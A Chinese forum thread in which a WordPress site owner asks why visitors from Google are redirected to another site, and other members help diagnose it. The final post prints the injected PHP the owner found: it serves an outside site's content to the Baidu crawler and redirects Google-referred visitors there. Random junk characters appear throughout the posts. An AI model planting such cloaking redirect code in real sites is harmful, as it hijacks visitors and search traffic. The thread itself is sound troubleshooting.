谷歌搜索结果被劫持了，怎么解决呢？

妃子笑

大家好，好久不见啦 @！

我遇到一个很奇怪的问题，我的网站 www.mg21.com
( o8 i/ {5 |! r$ [3 ~
在谷歌的搜索结果全部被劫持到另外一个网站去，比如我 site:www.mg21.com 找到自己的网站，点进去以后，会被劫持到另外一个网站 zb128.cc
* Q" U' Q# E& x' ~1 k( R
5 P+ {7 D% H) E" |$ a) [. n而百度和bing等的搜索结果就不会劫持，直接访问也OK，其他地方的外链进来也OK，只有谷歌的流量进不来。
% [1 z; F$ e, }8 c, B
我想着加个SSL，可是弄半天也没弄好，有点尴尬。
2 O8 F, n  D6 B/ h% C; K% z
$ e3 c9 w2 t3 v  ?2 o+ G8 F3 @9 D有没有遇到这个情况的？给个解决思路啊！谢谢啦！
. [1 e+ q8 Q3 q& J
3 k3 [# R6 Q( G# O  X

晕蛋疯亲

明显被黑了，查下是不是被挂JS了

妃子笑

晕蛋疯亲 发表于 2017-11-25 17:07
明显被黑了，查下是不是被挂JS了

+ j! u# w% G+ ^/ P  v3 P我不懂查，只是在线用了360，还有几个检测挂马的工具，都没查出来。

晕蛋疯亲

妃子笑 发表于 2017-11-25 17:11
- J( b9 ]( A: H; V我不懂查，只是在线用了360，还有几个检测挂马的工具，都没查出来。

7 V8 E7 t9 c0 S- f2 a加密的怕是查不出，去FTP里面看下，有没有新增加的文件，看文件日期有没有最近修改过，如果文件日期被改过，那就只能自己手动慢慢查了，文件多挺累人的

妃子笑

晕蛋疯亲 发表于 2017-11-25 17:20
! A: J6 a! l" t# Y: j加密的怕是查不出，去FTP里面看下，有没有新增加的文件，看文件日期有没有最近修改过，如果文件日期被改 ...

+ m1 {, |$ P8 {/ D应该不是js吧，我把所有的JS文件全部删除了，重新从wp官方下载了，再上传，还是一样呢？

ceom123

我这不会啊。我用谷歌搜索了 再点进去。正常显示，没有跳转。

妃子笑

ceom123 发表于 2017-11-25 18:10
我这不会啊。我用谷歌搜索了 再点进去。正常显示，没有跳转。

5 `, c3 i+ J8 B) \你是说你在谷歌收到我的网站，点击链接，不会跳转到其他网站吗？

那如果这样的话，是我的电脑DNS被劫持了吗？

小白龙

荔枝姐好

1198345

使用D盾查一下  

qiqinjun

这个应该是加了代码进去，一般是三个地方，第一个是网页的源代码里面，直接右键查看源代码就可以看到，第二个是程序里面加判断跳转代码，如果程序简单的话，也好找出来，第三个应该就是.htaccess文件，判断谷歌来路，然后跳转，一眼就可以看出来，你去找找这三个地方试试

wxmd

荔枝现在做啥了，还搞主机AFF吗？

c21xdx

按照10楼大佬说的来。可以把网站文件都下载到你本地的电脑上，用9楼说的 D盾 来扫描你的所有网站文件，看看有没有什么可疑代码，360什么的没用的，这只是别人偷偷在你的网站空间里偷偷添加了一个跳转文件或者就直接在你原本的某个网站文件里直接添加了一些代码用来判断来路，如果来路是谷歌搜索来的，就进行跳转到其它网站，其它来路或者没有来路（就是直接出入域名打开）就不进行跳转。如果D盾有提示出什么可疑代码，可以把那一段贴到论坛来，这里很多程序大牛可以帮你看看的。如果没提示找到什么可疑代码，你觉得合适的可以贴出来的话，如果你的网站空间是用apache的话，在网站根目录下找到10楼大佬说的.htaccess贴出来看看，如果是nginx的话，就找到vhost下的域名配置文件，如果你的网站是在VPS上的。

沐风

中国移动，四川成都。
网页被跳转了……
% E7 d+ P5 O- m估计不像是运营商干的，也不是DNS污染或劫持。
而是你的网站，确实被加了JS代码。
这和我的Cloak做的跳转一样……
5 B7 J( z9 l3 `* X0 O& |7 ^
查一下你的网页代码吧，很可能是被加到了主题文件中。
2 ~* j" \  E. q

ceom123

妃子笑 发表于 2017-11-25 18:26
* ^, A3 q  e( m5 S; ?" [7 L; o你是说你在谷歌收到我的网站，点击链接，不会跳转到其他网站吗？
2 N* s3 D# @6 U
, `3 s" t& j( V/ ~  ^0 P4 B: I那如果这样的话，是我的电脑DNS被劫持了 ...

是的，我用site: 搜索你的网站，然后点击其中的一个结果。正常跳转。
1 R5 B) B* }8 j8 n$ n+ o# Q

妃子笑

谢谢大家，用D盾查到问题了，被挂了一段代码：
/ o# a, L. ^" c1 A& D

# p% {/ [# b- K2 f+ A$ |# ]<?php
7 v% P5 N9 k+ C2 \) H4 Fif (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])) {
$file = file_get_contents('http://www。zb128。cc');
echo $file;//
exit;
) f- ^) ?, w( I5 U}
if(stristr ($_SERVER['HTTP_REFERER'],"google.com")) {
6 t8 A1 }, X( dHeader("Location: http://www。zb128。cc");//
0 p) M8 M8 n2 m$ Lexit;
. N0 S$ X& \, T: B4 x}